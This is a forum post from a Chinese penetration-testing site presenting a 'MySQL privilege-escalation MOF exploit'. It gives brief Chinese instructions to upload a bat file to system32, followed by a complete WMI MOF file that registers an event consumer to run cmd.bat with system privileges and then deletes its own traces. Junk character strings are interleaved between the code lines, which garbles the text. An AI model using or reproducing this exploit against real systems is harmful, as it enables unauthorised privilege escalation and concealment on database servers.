中国网络渗透测试联盟
标题:
Mysql 提权即时无错Mof exp
[打印本页]
作者:
admin
时间:
2013-2-14 00:05
标题:
Mysql 提权即时无错Mof exp
这个sql提权MOF需要运行 system下的文件,不能定义路径。
7 l4 [. l: X) p- y8 o
需要将要运行的命令写入到bat上传到system32目录,然后执行。
1 F. `5 D0 ?1 p6 k& O8 b
5 u a& v+ J9 W# G5 W0 j
这个sql提权MOF需要运行 system下的文件,不能定义路径。
/ \9 T4 j! M- w0 r1 f# S
需要将要运行的命令写入到bat上传到system32目录,然后执行。
* ?- B# H" ?1 K8 E
5 z U+ i0 t% w+ l. g1 J6 X
#pragma
9 p1 {; y2 F- Z! K& [, {
namespace("\\\\.\\root\\cimv2")
# r! C' k/ ^! ~6 j# a$ k% y# Y
class
, `( j$ [3 A, s) c! i, K; f
MyClass547
* s' D* p. N$ H; n8 B/ c
{ [key]
3 n$ n9 @, ^8 h
string
& I: N9 b1 z, \, g
Name;
; Y% f7 d4 A4 T/ K! V+ q0 X
};
$ Q2 ^7 h1 Y9 W& F- {" R8 |
class
( F) M; w3 N# j1 r
ActiveScriptEventConsumer
1 a7 T0 d& R- F5 h7 T$ t. s
: __EventConsumer { [key]
' ]4 E& x0 H. g& P
string
4 O4 r; U1 n! g; a3 P8 w9 [
Name; [not_null]
9 {, V7 m9 l6 z1 n% l2 s
string
; ?: G! o9 a1 A ]# b
ScriptingEngine; string
' m4 |( }1 X9 p) [
ScriptFileName; [template]
p7 {: `* k. T' P' x9 O% @
string
" Y; R0 [: S7 H _( A7 y
ScriptText; uint32 KillTimeout;
. D1 ]; V/ Q/ r
}; instance of __Win32Provider as $P {
! P5 x- D& n9 R0 r: w; ?3 Y
Name
, ~/ n+ ^: m3 d- U+ s S! g
=
, R1 X2 `% b) @. n" o
"ActiveScriptEventConsumer"; CLSID =
# z# h I" i7 e# i5 @
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
; N; N2 G0 D5 B K
PerUserInitialization
/ q, t9 X3 _6 B8 @3 o" M% y) o
= TRUE;
D, q. `% Y3 l6 s: W: h# x
}; instance of __EventConsumerProviderRegistration { Provider
- j7 w" A" P3 m. J0 ^5 _
= $P; ConsumerClassNames
! j. W* \8 }# g% Q0 P6 {8 w
=
8 I" ?) \/ s! E4 F
{"ActiveScriptEventConsumer"};
( a# a7 v9 |- d- p6 y+ T, X6 u+ X
};
2 a0 O/ D% e9 w% Y# W: k; f
Instance of ActiveScriptEventConsumer
# P# _4 g4 f* H/ n8 ]
as $cons { Name
9 D1 c: c5 T3 q3 ` O$ u7 f, J
=
) ~6 y& h0 i& T
"ASEC"; ScriptingEngine
# I$ r) ]) V2 C' |8 D) X8 V8 @
=
1 U$ w" u4 s6 S, C
"JScript"; ScriptText
$ C, S$ I N+ x8 n" ~
=
8 e( W2 \ B" B$ Z/ u9 Q9 F
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
- ]1 v9 B8 s9 J2 P" V
Instance of ActiveScriptEventConsumer
9 X- _0 Q# } x1 O$ a H
as $cons2 { Name
6 f' g/ z. h: l+ `
=
& t' y& I! z" `
"qndASEC"; ScriptingEngine
4 V& C+ X4 h9 S
=
" K1 G7 T9 e4 u. F" {
"JScript"; ScriptText
, W7 f! j- [) P3 W+ y5 y4 K# Q
=
& u: d8 Z0 A. g7 u# C- R9 e# J2 L
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
* s6 u0 w" u7 A; D/ h; N
}; instance of __EventFilter as $Filt { Name
, o. v4 }! ]. r! w: \5 ^' H3 w
=
$ I6 k- ~; r, ?6 o% h/ n
"instfilt"; Query
& {: Z+ K1 W: ?
=
1 Y0 g0 T0 `3 _0 H( |1 I% y
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
) M1 ~- ?% g' n/ W0 \$ x
=
' G6 F' z% k9 F6 l
"WQL"; }; instance of __EventFilter as $Filt2 { Name
) @5 _1 o1 P, r* P N# @
=
3 W2 L6 a* {1 \- S/ j8 Y
"qndfilt"; Query
: O- D! t$ T1 v: J
=
" E6 t+ y% W- E" T& H+ E$ t
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
9 Z4 ^7 ?/ k' P: K7 g$ \ g5 j( L
=
# ?1 l) q4 K) k: K
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
) C, r: T" v8 W% t' Z- J$ g- r
= $cons; Filter
; `/ H5 ~+ U4 c# k4 T
= $Filt;
& t' `' C0 l# P4 P" e
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
2 S2 X% n% d, t" [+ g. m
= $cons2; Filter
) } p' T4 w" T
= $Filt2;
! z! w! s, C2 R7 M3 ^5 z ]
}; instance of MyClass547
% ^, [ T, t( s$ n
as $MyClass { Name
C( M- Y9 m9 F0 H
=
* @' z' l5 [6 T, s0 d2 \
"ClassConsumer";
1 a6 B, N" I( o& ~- P6 Y5 D' Z! K" E
};
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2